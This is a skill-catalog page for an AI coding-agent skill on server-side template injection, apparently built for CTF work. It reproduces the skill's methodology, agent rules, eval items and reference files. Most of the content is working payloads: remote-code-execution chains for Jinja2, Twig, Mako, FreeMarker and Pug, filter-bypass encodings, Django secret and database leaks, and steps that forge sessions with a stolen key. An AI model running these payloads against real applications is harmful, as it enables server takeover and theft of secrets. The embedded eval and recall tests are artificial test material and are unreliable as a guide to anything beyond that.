
Ssti Methodology
- 16 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ssti-methodology is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ssti-methodology
- AI & Agent Building
- AI-coding skill
Ssti Methodology by the numbers
- 16 all-time installs (skills.sh)
- Ranked #11,068 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ssti-methodologyAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 16 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
SSTI 服务端模板注入方法论
⛔ 深入参考(确认引擎后必读对应文件)
- Jinja2 完整利用链(上下文变量→文件读取→RCE)→ references/jinja2-exploitation.md
- Twig/Mako/FreeMarker/Pug/Django 利用或过滤绕过 → references/other-engines-and-bypass.md
---
Phase 0: 注入点定位(最先执行!)
不要盲目在所有参数上尝试 SSTI payload! 先定位哪些参数会被模板渲染:
1. 用 analyze_response 观察哪些参数值出现在响应中 2. 只有回显到页面的参数才可能是注入点 3. 常见回显参数:name, username, message, greeting, template, title, q, search
陷阱:HTML 转义的回显(< → <)仍可能被模板渲染——{{7*7}} 可能生效。
Phase 1: 检测模板注入(决策树)
Step 1: 发送 {{7*7}}
→ 返回 49 → 进入 Step 2
→ 原样返回 → 不是 Jinja2/Twig,进入 Step 3
→ 返回空/错误 → 可能有过滤,尝试 {{7*'7'}}
Step 2: 发送 {{7*'7'}}
→ 返回 7777777 → Jinja2 (Python) ★最常见
→ 返回 49 → Twig (PHP)
Step 3: 发送 ${7*7}
→ 返回 49 → Java EL / Mako / FreeMarker
Step 4: 发送 #{7*7}
→ 返回 49 → Ruby ERB 或 PugPhase 2: 引擎识别辅助表
| 引擎 | 语言 | Server 头线索 | 确认方法 |
|---|---|---|---|
| Jinja2 | Python/Flask | Werkzeug, gunicorn | {{config}} 有输出 |
| Django | Python | WSGIServer | {{settings.DEBUG}} |
| Twig | PHP | Apache+PHP | {{_self.env.display('id')}} |
| Mako | Python | - | ${self.module.__builtins__} |
| FreeMarker | Java | Tomcat, Spring | ${.now} 返回当前时间 |
| Pug/Jade | Node.js | Express | #{7*7} 返回 49 |
Phase 3: 利用决策树
确认引擎类型
├─ Jinja2?→ [references/jinja2-exploitation.md](references/jinja2-exploitation.md)
│ 优先级:上下文变量 → config → 文件读取 → RCE(lipsum链)
├─ Twig?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Mako/FreeMarker/Pug?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Django?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
│ 无 RCE!优先级:上下文变量穷举 → request.META → settings → admin 路径发现
└─ 有过滤?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)(过滤绕过部分)Jinja2 速查(完整 payload → references/jinja2-exploitation.md):
{{lipsum.__globals__['os'].popen('id').read()}} # RCE 首选
{{config}} # 读配置注意事项
- 先简单后复杂:上下文变量 → config → 文件读取 → RCE
- URL 编码:GET 参数注入时
{{}}需要编码 - 错误信息:500 页面可能泄露引擎类型和 Python 版本
Phase 4: 高级利用技术
4.1 子类遍历与 Payload 构造
- 使用循环 for + enumerate 遍历子类列表
- 目标类:
os._wrap_close、subprocess.Popen - 条件过滤:
if 'popen' in str(cls)— 字符串匹配筛选 - 不同环境索引不同,需要动态查找而非硬编码索引
4.2 过滤绕过技巧
- 外部传参:
?a=__class__&b=__mro__,模板中用request.args.a引用 - 过滤只在模板内容检查,不检查 URL 参数
- 拆分 payload:注入点和数据点分离
- 关键词被过滤时,通过
globals.__self__到达 builtins 模块,用字符串拼接绕过:
{{ globals.__self__.exec("imp" + "ort o" + "s;o" + "s.system('cat /flag')") }}
{{ request.__class__.__init__.__globals__.__builtins__.exec("__imp"+"ort__('o'+'s').system('id')") }}4.3 利用顺序
- 优先级最高:先试简单的,直接变量访问(
{{config}}) - 顺序:先确认后利用,先识别引擎再选 payload
- 最终:http_request 发送 RCE payload 获取 flag
🤖 Agent 行为规则 — SSTI
⛔ NEVER
- NEVER 在未确认模板引擎类型前尝试 RCE payload
- NEVER 对 Django 模板尝试 RCE — Django 只能读上下文变量
- NEVER 跳过简单变量测试
{{flag}}{{config}}{{secret}}就直接尝试复杂链 - NEVER 在确认引擎后不读 references 就开始利用
✅ ALWAYS
- ALWAYS 先用探测 payload 确认引擎类型(
{{7*7}}${7*7}<%= 7*7 %>{7*7}) - ALWAYS 确认 Jinja2 后立即读 references/jinja2-exploitation.md
- ALWAYS 确认其他引擎后立即读 references/other-engines-and-bypass.md
- ALWAYS 先尝试简单上下文变量(
{{flag}}{{app.config}})再尝试 RCE 链
🔧 工具偏好
1. http_request — 模板注入测试(精确控制输入点) 2. 读取 references 文件 — 确认引擎后立即读取对应 references 3. python3 — 复杂 payload 编码/构造
{
"skill_name": "ssti-methodology",
"evals": [
{
"id": 1,
"name": "ssti-non-jinja2-identification",
"prompt": "{{7*7}} 返回 {{7*7}}(原样输出),但 ${7*7} 返回 49。请判断最可能的模板引擎并给出 RCE payload。",
"expected_output": "Java 模板引擎(Freemarker/Velocity/EL),对应 Runtime.exec RCE 链",
"expectations": [
"Freemarker|Velocity|EL表达式|Java模板",
"${\"freemarker\"|<#assign|Freemarker语法",
"Runtime|getRuntime()|exec|ProcessBuilder",
"不是Jinja2|不是Python|Java引擎",
"具体payload|可执行|RCE链"
],
"required_terms": [
"Freemarker",
"getRuntime"
]
},
{
"id": 2,
"name": "ssti-lipsum-bypass",
"prompt": "Jinja2 SSTI 确认,但 _ (下划线) 被过滤,无法使用 __class__、__mro__、__subclasses__。请描述不使用下划线的 RCE 方法。",
"expected_output": "lipsum.__globals__ 通过 attr 过滤器访问,或 request.args 外部传参",
"expectations": [
"lipsum|cycler|joiner|内置全局对象",
"attr('\\x5f\\x5f')|hex编码下划线|绕过过滤",
"request.args|GET参数|外部传入关键词",
"|attr()|Jinja2过滤器链|替代点号",
"不用下划线|编码|动态构造"
],
"required_terms": [
"lipsum",
"__globals__",
"attr("
]
},
{
"id": 3,
"name": "ssti-sandbox-subclass-index",
"prompt": "你使用 {{''.__class__.__mro__[1].__subclasses__()}} 获取了 Python 子类列表(400+ 个类)。你需要找到 os._wrap_close 或 subprocess.Popen。请描述如何高效定位目标子类的索引号。",
"expected_output": "用 Jinja2 循环遍历子类列表,而非手动数",
"expectations": [
"循环|for|enumerate|遍历子类",
"os._wrap_close|subprocess.Popen|目标类",
"索引号|下标|[132]|具体位置",
"if 'popen' in|条件过滤|字符串匹配",
"不同环境|索引不同|需要动态查找"
],
"required_terms": [
"os._wrap_close",
"subprocess.Popen",
"__subclasses__"
]
},
{
"id": 4,
"name": "ssti-request-args-external-payload",
"prompt": "Jinja2 SSTI 存在严格的关键词黑名单:class、mro、subclasses、import、os、popen、system、eval、exec、lipsum、config 全部被过滤。请描述一种完全不在模板注入点传入任何关键词的方法。",
"expected_output": "request.args/request.values 从 GET 参数传入关键词,绕过模板内容过滤",
"expectations": [
"request.args|request.values|GET参数传入",
"?a=__class__&b=__mro__|外部传参",
"attr(request.args.a)|动态属性访问",
"过滤只在模板内容|不检查URL参数",
"拆分payload|注入点和数据点分离"
],
"required_terms": [
"?a=__class__&b=__mro__",
"request.args",
"attr(request.args.a)"
]
},
{
"id": 5,
"name": "ssti-django-dtl-direct-variable",
"prompt": "你确认目标是 Django 应用(WSGIServer header),SSTI 注入点存在。你尝试了 Jinja2 的 {{7*7}} 返回 49,但 {{''.__class__}} 返回空。请分析引擎类型并给出最高优先级的利用方式。",
"expected_output": "Django DTL 不支持方法调用和属性链,最高优先级是直接访问上下文变量 {{flag}}、{{secret}}、{{password}},而非构造 RCE 链",
"expectations": [
"Django|DTL|Django Template Language|不是Jinja2",
"不支持方法调用|属性链受限|不能执行代码",
"{{flag}}|{{FLAG}}|{{secret}}|直接访问上下文变量",
"优先级最高|先试简单的|直接变量访问",
"{{settings.SECRET_KEY}}|{{settings.DEBUG}}|Django设置泄露"
],
"required_terms": [
"Django",
"settings.SECRET_KEY"
]
},
{
"id": 6,
"name": "ssti-tool-chain-identify-then-exploit",
"prompt": "scan_finger 显示目标是 Python/Flask 应用,/render?template=test 会回显。你需要确认 SSTI 并获取 flag。请描述你使用工具的完整顺序。",
"expected_output": "http_request 发送 {{7*7}} 确认 → 引擎识别 → read_skill 获取 payload → http_request 发送 RCE payload → 读取 flag",
"expectations": [
"http_request|发送探测payload|{{7*7}}|确认SSTI",
"read_skill|ssti-methodology|获取利用方法",
"引擎识别|Jinja2|Django|区分模板引擎",
"http_request|发送RCE payload|获取flag",
"顺序|先确认后利用|先识别再选payload"
],
"required_terms": [
"http_request",
"read_skill",
"{{7*7}}"
]
}
]
}
{
"skill_id": "ssti-methodology",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "精确关键词搜索",
"keywords": ["ssti", "template injection", "模板注入", "jinja2", "server-side template"]
},
{
"id": 2,
"type": "keyword_positive",
"description": "引擎名搜索",
"keywords": ["twig", "mako", "freemarker", "django template"]
},
{
"id": 3,
"type": "keyword_positive",
"description": "沙箱逃逸搜索",
"keywords": ["sandbox-escape", "sandbox escape"]
},
{
"id": 4,
"type": "keyword_negative",
"description": "不应被 SQL 注入召回",
"keywords": ["sql injection", "union select"]
}
],
"llm_tests": [
{
"id": 1,
"name": "flask-ssti-scenario",
"scenario": "目标是 Python/Flask 应用(Werkzeug/2.0),/render?template=test 参数会回显用户输入。{{7*7}} 返回 49。请搜索相关攻击方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{"tool": "list_skills", "keyword_contains": "ssti|template"},
{"tool": "read_skill", "id": "ssti-methodology"}
]
}
]
}
Jinja2 深度利用(SSTI 最常见引擎,80% 场景)
先尝试直接访问上下文变量(最快!)
{{flag}}
{{config}}
{{config.items()}}
{{request.environ}}
{{get_flashed_messages.__globals__}}很多场景 flag 就在模板上下文或 config 中,不需要 RCE!
读配置和环境变量
{{config['SECRET_KEY']}}
{{config['FLAG']}}
{{request.environ['FLAG']}}文件读取(不依赖 RCE)
先找到 file 子类编号:
{{''.__class__.__mro__[1].__subclasses__()}}在输出中搜索 _io._IOBase 或 <class '_io.FileIO'> 的索引号 N,然后:
{{''.__class__.__mro__[1].__subclasses__()[N]('/flag.txt').read()}}陷阱:子类索引号在不同 Python 版本/环境中不同!必须先列出再找。
RCE(最后手段)
Jinja2 经典 RCE 链(按可靠性排序):
{{lipsum.__globals__['os'].popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('cat /flag').read()}}
{{config.__class__.__init__.__globals__['os'].popen('cat /FLAG.txt').read()}}
{{''.__class__.__mro__[2].__subclasses__()[IDX]('cat /FLAG.txt',shell=True,stdout=-1).communicate()}}推荐 lipsum 链:lipsum 是 Jinja2 内置全局变量,几乎所有环境都可用。
找到 RCE 后的 flag 提取
# 先找 flag 文件
{{lipsum.__globals__['os'].popen('find / -name "*flag*" -o -name "*FLAG*" 2>/dev/null').read()}}
# 读取
{{lipsum.__globals__['os'].popen('cat /flag.txt').read()}}
# 检查环境变量
{{lipsum.__globals__['os'].popen('env').read()}}其他模板引擎利用 + 过滤绕过
Twig 利用 (PHP)
Twig 版本决定利用方式:
# Twig 1.x(老版本,直接 RCE)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Twig 2.x/3.x(沙箱更严)
{{['id']|filter('system')}}
{{['cat /flag.txt']|filter('system')}}Mako (Python)
${__import__('os').popen('cat /flag.txt').read()}FreeMarker (Java) — 完整利用链
FreeMarker 是 Java 最常见的模板引擎(Spring Boot/MVC 常用)。利用核心是 ?new() 内建函数。
检测
${7*7} → 返回 49 → 可能是 FreeMarker 或 EL
<#assign x=7*7>${x} → 返回 49 → 确认 FreeMarker
${.version} → 返回 FreeMarker 版本号RCE 方式 1: Execute 类(最直接)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /flag.txt")}单行写法:
${"freemarker.template.utility.Execute"?new()("cat /flag.txt")}RCE 方式 2: ObjectConstructor + ProcessBuilder
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=oc("java.lang.ProcessBuilder", ["cat","/flag.txt"])>
<#assign proc=pb.start()>
<#assign is=proc.getInputStream()>
<#assign isr=oc("java.io.InputStreamReader", is)>
<#assign br=oc("java.io.BufferedReader", isr)>
${br.readLine()}读取多行输出:
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign rt=oc("java.lang.Runtime")>
<#assign proc=rt.getRuntime().exec(["sh","-c","cat /flag.txt"])>
<#assign is=proc.getInputStream()>
<#assign sc=oc("java.util.Scanner", is)>
${sc.useDelimiter("\\A").next()}RCE 方式 3: JythonRuntime(如果 Jython 在 classpath)
<#assign jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>import os; os.system("cat /flag.txt")</@jr>方式 4: 文件读取(无需 RCE)
<#assign file=object?api.class.forName("java.io.File").getConstructor(object?api.class.forName("java.lang.String")).newInstance("/etc/passwd")>
<#assign sc=object?api.class.forName("java.util.Scanner").getConstructor(object?api.class.forName("java.io.File")).newInstance(file)>
${sc.useDelimiter("\\A").next()}绕过沙箱/限制
如果 ?new() 被禁:
# 利用 ?api 内建函数(需要 api_builtin_enabled=true)
${"".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"cat /flag.txt")}
# 利用 ObjectWrapper
<#assign classLoader=object?api.class.getClassLoader()>如果 <#assign> 被过滤:
# 使用 ${} 内联表达式(不需要 assign)
${"freemarker.template.utility.Execute"?new()("id")}FreeMarker 速查表
| 目标 | Payload |
|---|---|
| 版本探测 | ${.version} |
| RCE (简洁) | ${"freemarker.template.utility.Execute"?new()("id")} |
| RCE (assign) | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
| 读文件 | 通过 ProcessBuilder 执行 cat |
| 反弹 shell | `${ex("bash -c {echo,BASE64} |
Pug (Node.js)
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").execSync('cat /flag.txt').toString();return sh}()}Django
Django 模板功能受限(不支持方法调用),但:
{{flag}} <- 上下文变量直接访问
{{settings.SECRET_KEY}} <- 设置信息
{{settings.DATABASES}} <- 数据库配置
{{debug}} <- 调试信息Django 不支持 RCE,如果 flag 不在上下文中,需要换其他攻击面。
Django 深度利用(无 RCE 但可泄露大量信息)
Step 1: 上下文变量穷举(最高优先级)
{{flag}} {{FLAG}} {{secret}} {{key}} {{password}}
{{user}} {{admin}} {{token}} {{session}}Step 2: request 对象信息泄露
{{request.META}} <- 所有环境变量(含 SECRET_KEY、数据库密码等)
{{request.META.SECRET_KEY}} <- 直接读 SECRET_KEY
{{request.user}} <- 当前用户
{{request.session.items}} <- Session 内容
{{request.resolver_match}} <- URL 路由信息
{{request.COOKIES}} <- 所有 CookieStep 3: settings 对象
{{settings.DEBUG}} <- 是否开启调试
{{settings.SECRET_KEY}} <- 签名密钥
{{settings.DATABASES}} <- 数据库连接信息
{{settings.INSTALLED_APPS}} <- 已安装应用列表
{{settings.ROOT_URLCONF}} <- URL 配置模块路径
{{settings.TEMPLATES}} <- 模板配置Step 4: DEBUG=True 时的 404 页面
- 访问不存在的 URL → Django 调试页面显示所有 URL 路由
- 可以发现
/admin/、/api/等隐藏路径
Step 5: 如果 flag 不在模板变量中
- 发现
/admin/→ 尝试默认凭据 admin:admin, admin:password - 用
{{settings.SECRET_KEY}}伪造 session → 提权为 admin - 用
{{settings.DATABASES}}获取数据库信息 → 尝试直接读数据库 - 发现其他端点/API → 可能有更严重的漏洞(SQLi、文件读取等)
---
过滤绕过大全
下划线 _ 被过滤
{{config|attr('\x5f\x5fclass\x5f\x5f')}}
{{config|attr('\u005f\u005fclass\u005f\u005f')}}
{{lipsum|attr(request.args.a)}}&a=__globals__点号 . 被过滤
{{config['__class__']['__init__']['__globals__']}}
{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}括号 () 被过滤
使用 Jinja2 filter 链代替方法调用引号 ' " 被过滤
{{config|attr(request.args.a)}}&a=__class__
{{config|attr(request.cookies.a)}} (Cookie: a=__class__)关键字 (config/class/import) 被过滤
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}数字被过滤
使用 |length filter: ''|length 返回 0, 'a'|length 返回 1